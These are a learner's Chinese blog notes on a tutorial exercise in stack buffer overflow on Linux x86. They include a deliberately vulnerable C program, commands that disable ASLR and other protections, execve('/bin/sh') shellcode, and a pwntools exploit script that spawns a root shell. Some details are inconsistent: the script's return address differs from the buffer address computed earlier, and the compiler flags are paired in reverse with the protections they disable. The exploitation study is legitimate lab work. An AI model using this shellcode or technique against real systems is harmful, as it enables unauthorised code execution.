关于蒸米的一步一步学ROP之linux_x86的学习笔记

写在开头:level2没有源码,所以第二个“Ret2libc – Bypass DEP 通过ret2libc绕过DEP防护”做不动……另外socat还没学会用==,按照步骤输入命令后一直没反应,也不知道怎么办,所以后面的远程攻击也没法进行……于是只做了第一个Control Flow Hijack 程序流劫持
原文地址:http://jaq.alibaba.com/community/art/show?spm=a313e.7916646.24000001.11.MtR4jX&articleid=403

首先来看这个有明显缓冲区溢出的程序:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
    vulnerable_function();
    write(STDOUT_FILENO, "Hello, World\n", 13);
}

里面使用的read函数是从输入中读取256个字节放入buf中,但buf只定义了128个字节,所以会发生缓冲区溢出

使用命令:

gcc -fno-stack-protector -z execstack -o level1 level1.c

编译程序,-fno-stack-protector和-z execstack这两个参数会分别关掉DEP和Stack Protector

接下来输入指令关闭ASLR

sudo -s
echo 0 > /proc/sys/kernel/randomize_va_space

(注:原文中还有exit指令退出root模式,但如果退出,会得不到结果,即攻击失败,也可能是中间某些步骤自己没理解意思。最终还是在root下继续进行,才成功完成)

接下来开始对目标程序进行分析。首先先来确定溢出点的位置,这里使用pattern.py这个脚本来进行计算。使用如下命令:

python pattern.py create 150

来生成一串测试用的150个字节的字符串
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

使用gdb ./level1 调试程序
这里写图片描述
可以得到内存出错的地址为0x37654136
之后使用命令:

python pattern.py offset 0x37654136

得到结果
hex pattern decoded as: 6Ae7
140

所以PC返回值的覆盖点为140个字节。我们只要构造一个”A”*140+ret字符串,就可以让pc执行ret地址上的代码了。
接下来我们需要一段shellcode,可以用msf生成,或者自己反编译一下。这里我们使用一段最简单的执行execve (“/bin/sh”)命令的语句作为shellcode。

xor ecx, ecx
mul ecx
push ecx
push 0x68732f2f ;; hs//
push 0x6e69622f ;; nib/
mov ebx, esp
mov al, 11
int 0x80

所以得到shellcode如下:
shellcode = “\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73”
shellcode += “\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0”
shellcode += “\x0b\xcd\x80”
这些十六进制数都对应着上面汇编指令的运算码,把他们一个个列出来后组装起来,这样就能把我们的攻击代码传给漏洞程序。

下一步是控制PC跳转到shellcode的地址上
正常的思维是使用gdb调试目标程序,然后查看内存来确定shellcode的位置。但当你真的执行exp的时候你会发现shellcode压根就不在这个地址上!

原因是gdb的调试环境会影响buf在内存中的位置,虽然我们关闭了ASLR,但这只能保证buf的地址在gdb的调试环境中不变,但当我们直接执行./level1的时候,buf的位置会固定在别的地址上。、

解决这个问题最简单的方法就是开启core dump这个功能。使用命令

ulimit -c unlimited
sudo sh -c ‘echo “/tmp/core.%t” > /proc/sys/kernel/core_pattern’

开启之后,当出现内存错误的时候,系统会生成一个core dump文件在tmp目录下。然后我们再用gdb查看这个core文件就可以获取到buf真正的地址了。

运行leve1,故意使它发生段错误,从而找到buf地址
这里写图片描述
因为溢出点是140个字节,再加上4个字节的ret地址,我们可以计算出buffer的地址为$esp-144。
这里写图片描述
所以buf的地址是0xbffff640

下面可以写exp了,写exp的话,原文作者强烈推荐pwntools这个工具,因为它可以非常方便的做到本地调试和远程攻击的转换。本地测试成功后只需要简单的修改一条语句就可以马上进行远程攻击。他们之间的区别是:

p = process(‘./level1’) #本地测试
p = remote(‘127.0.0.1’,10001) #远程攻击

最终的本地测试代码如下:

#!/usr/bin/env python
from pwn import *

p = process('./level1') 
ret = 0xbffff290

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

# p32(ret) == struct.pack("<I",ret) 
#对ret进行编码,将地址转换成内存中的二进制存储形式
payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)

p.send(payload) #发送payload

p.interactive()  #开启交互shell

执行exp:
这里写图片描述
指令whoami是操作系统中用于查看当前有效用户名的命令,结果为当前使用的root用户,正确。

后面涉及到socat的把这个目标程序作为一个服务绑定到服务器的某个端口上前面提到完成不了,所以先做到这样,有待以后更加深入学习后补充。

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值